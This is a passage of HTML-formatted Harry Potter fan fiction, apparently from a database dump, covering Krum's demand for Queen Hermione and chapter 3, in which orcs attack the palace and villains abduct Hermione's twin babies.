style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, and what may\nthat be?&#8221; asked Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Queen\nHermio-ninny.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry spat out the\ntea he was drinking.&nbsp; &#8220;What?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I vould like to\nhav Queen Hermio-ninny,&#8221; said Krum.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry was now\nseething with anger.&nbsp; He slowly composed\nhimself as he hissed, &#8220;And exactly what do you want with my wife?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ve hav heard\ntales ov Queen Hermio-ninny in our land.&nbsp;\nI vould like to hav her for myself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">If Ron and Neville\nhadn&#8217;t held him back, Harry would&#8217;ve killed Krum on the spot.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Zis is a one time\noffer,&#8221; said Krum.&nbsp; &#8220;If I can not hav\nQueen Hermio-ninny, zen zere vill be no peace between our lands.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;This is an act of\nwar,&#8221; hissed Harry.&nbsp; &#8220;If you dare even\ntalk about my wife as a commodity you will pay!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m afraid I&#8217;m\ngoing to have to agree with Harry,&#8221; said Penelope.&nbsp; &#8220;An insult to Gryffindor is an insult to the Alliance.&#8221;&nbsp; Justin also stood by Harry.&nbsp; Draco however seemed a little reluctant.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Very vell,&#8221; said\nKrum.&nbsp; He stood up and started to make\nhis way out of the building.&nbsp; &#8220;You&#8217;ve\njust ruined your chance for peace.&nbsp; But\nI vill have vhat I vant.&#8221;&nbsp; He left and\nwent back to his ship.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was only after\nhe had gone that Harry realized the full implications of Krum&#8217;s words.&nbsp; &#8220;Oh my God.&#8221;&nbsp; Harry turned and shouted, &#8220;Ron, Neville, we have to get back to\nGodric&#8217;s Hollow NOW!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&#8221; asked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217;t you realize\nwhat he just said?!&#8221; shouted Harry.&nbsp;\n&#8220;They&#8217;re going to kidnap Hermione!&#8221;&nbsp;\nRon and Neville immediately got the idea and the three Gryffindors\ndashed to their horses, hoping that they could get back to the Royal Palace in\ntime.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N So, how was\nchapter two?&nbsp; Did you like it?&nbsp; Are you anticipating for more?&nbsp; Well then, R/R.&nbsp; So why do people have a small fear of Mage Knights?&nbsp; Well wouldn&#8217;t you be slightly apprehensive\nabout people with so much power?&nbsp; It&#8217;s\nnatural to fear what is stronger than you.&nbsp;\nNext: Everybody grab a piece of tissue because it&#8217;s a VERY sad chapter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 3, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n3: The Abduction\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione, why\ndidn&#8217;t you ever become a Mage Knight?&#8221; asked Ginny.&nbsp; It was near midnight and the two ladies were talking in the\ncourtyard of Godric&#8217;s Hollow Palace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\nlaughed.&nbsp; &#8220;Ginny, haven&#8217;t you ever seen\nme on a horse or with a sword?&nbsp; I\nwouldn&#8217;t last a fort night if I were a Mage Knight.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s\nnonsense!&nbsp; Your magical powers far\nexceed the level of an average Mage Knight and there&#8217;s nothing like a little\ntraining to fix your problem with&#8230;&#8221; It was around then that the warning bell rang!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione and Ginny\nexchanged an alarmed look and ran to the grand hall.&nbsp; A guard ran up to the two of them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You majesty.&nbsp; The palace is under attack by orcs!&nbsp; They&#8217;re coming in through the dungeons!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\nimmediately took charge.&nbsp; &#8220;Start evacuating\nall who can not fight out of the castle.&nbsp;\nGinny you go down to the dungeons and help hold off the attack.&nbsp; I need to go to my children.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione, I can&#8217;t\nleave you!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Go!&nbsp; That&#8217;s an order!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny hesitated\nfor a moment before she tore down to the dungeons with the guard.&nbsp; Hermione started running to the west\nwing.&nbsp; &#8216;My children, I must get to my\nchildren,&#8217; she thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione had just\nmade it to the entrance of the West Wing when she halted, terrified by the\nsight in front of her.&nbsp; A whole\nbattalion of Orcs was in front of the entrance led by a tall blonde man in\nblack and red robes.&nbsp; &#8220;Greetings your\nmajesty,&#8221; he said.&nbsp; &#8220;I am Edward\nLingilam.&nbsp; I request that your\npresence&#8230;&#8221; the man would&#8217;ve continued if a blue caped Mage Knight hadn&#8217;t suddenly\nswooped down in between Hermione and the Orcs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Your Majesty,&#8221;\nsaid Sir Cho Chang.&nbsp; &#8220;Go and get your\nchildren.&nbsp; I will hold this lot back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione hesitated\nfor a moment before she whispered, &#8220;Thank you, Cho,&#8221; and made her way into the\nwest wing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Orcs were\nstreaming out of the dungeons in hordes but the Gryffindor soldiers were\nputting up more than a match.&nbsp; After\nall, they weren&#8217;t the greatest soldiers in Magiterran for nothing.&nbsp; However, the orcs were slowly overwhelming\nthem when Ginny arrived on the scene.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Reducto!&#8221;</i>&nbsp; Ginny\nblasted away at least half of the orcs with a good reductor curse.&nbsp; She then drew her sword and started hacking\nand hewing at the remaining orcs.&nbsp; Metal\nsounds issued through the dungeons as the orcs put up a fierce fight, but they\nwere no match for a Mage Knight, even a single one.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione ran into\nthe nursery and stopped dead.&nbsp; In the\nnursery was a sinister looking woman with short dark brown hair and cold hazel\neyes.&nbsp; She was carrying a green iron\nstaff and was wearing tight revealing black and red robes.&nbsp; Although her appearance was different, the\nwoman reminded Hermione of a certain blonde woman she had once known.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Icicle?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The woman\nsmirked.&nbsp; &#8220;Oh do I remind you that much\nof my sister?&#8221; she said.&nbsp; &#8220;No your\nmajesty, I am not my younger twin sister.&nbsp;\nI am Flame, and I am here to take the babies if you don&#8217;t mind.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?!&nbsp; How could you?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh come now,\nsurely they would be more happier being raised by us rather than a mudblood\nlike yourself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How dare you say\nthat!&#8221; said Hermione seething with anger.&nbsp;\n&#8220;I&#8217;m their mother, I should be the one raising them.&nbsp; Not some vile creature like you!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well then,&#8221; said\nFlame.&nbsp; &#8220;Perhaps I need to persuade you\nwith other means.&nbsp; <i>Crucio!</i>&#8221;&nbsp; The curse went flying towards Hermione.&nbsp; Right when it was about to hit her, however,\nHermione disappeared, leaving behind her violet, royal robes and tiara.&nbsp; Flame was confused when a magical force\nsuddenly lifted her up and pinned her to the wall!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was\nstanding in the other side of the room, wearing the familiar blue and white\ntravel robes she had worn during the War against the Death Eaters.&nbsp; She was emitting the magical force from the\nfamiliar oak staff that she was carrying in front of her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Flame worked a\nburst of magic and broke the force.&nbsp; She\nwaved her staff and blasted Hermione across the room.&nbsp; Hermione immediately sprang back onto her feet and sent another magical\nforce at Flame, flinging her to the back of the room. &nbsp;Flame got back to her feet and once again\nblasted Hermione away.&nbsp; This continued\nfor a bit longer with the two women flinging each other around the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry silently\ncursed Draco for not removing the continental wards that prevented apparating\nby Mage Knights.&nbsp; These were wards had\nbeen set up by the Death Eaters specifically for that purpose and Draco had\nbeen somewhat reluctant to remove them for &#8220;security reasons&#8221;.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The horses\ncarrying Harry, Ron, and Neville sped towards the main gates of Godric&#8217;s\nHollow.&nbsp; The guard caught sight of them\nas Neville called out, &#8220;Open the gates!&nbsp;\nThe king has returned!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione had\nmanaged to catch Flame in a type of vortex and was spinning her around in the\nair.&nbsp; She then proceeded to slam her\ninto the wall.&nbsp; Flame groaned in\npain.&nbsp; It was then that the babies woke\nup and started crying at the top of their lungs.&nbsp; Motherly instinct taking over her, Hermione rushed to the crib\nwhen a single voice called out, <i>&#8220;Crucio!&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione screamed\nin pain as the Cruciatus curse rippled through her body.&nbsp; Flame stood up and made her way over to her,\nnever taking the curse off.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I am going to\nkill you, mudblood,&#8221; she hissed.&nbsp; It was\nthen that Edward Lingilam burst into the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Flame, just do\nyour job,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Let me kill her\nfirst.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Just do your job,\nFlame.&nbsp; You were not supposed to harm\nher.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Reluctantly, Flame\nremoved the curse from Herrmione.&nbsp; Flame\nand Lingilam made their way to the crib and they each picked up one of the\ntwins.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Please, not my\nbabies,&#8221; begged a weakened Hermione, tears falling down her cheeks.&nbsp; Flame and Lingilam, however, disappeared out\nthe window, carrying the crying babies with them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Having taken care\nof the orcs in the dungeon, Ginny ran up to the west wing as fast as she could\ngo.&nbsp; She stopped short in front of the\nentrance when she saw Sir Cho Chang lying on the ground amidst the corpses of\nmore orcs.&nbsp; Ginny cradled Cho in her\narms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Cho!&nbsp; What happened?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cho could barely\nspeak.&nbsp; &#8220;L...Lingilam&#8230;.he&#8230;..he was\ntoo&#8230;.powerful&#8230;..Orcs were no problem&#8230;..but he&#8230;.didn&#8217;t stand a chance&#8230;..but\nperhaps now&#8230;..I can be&#8230;.be with Cedric.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No!&nbsp; Cho don&#8217;t say that!&#8221; yelled 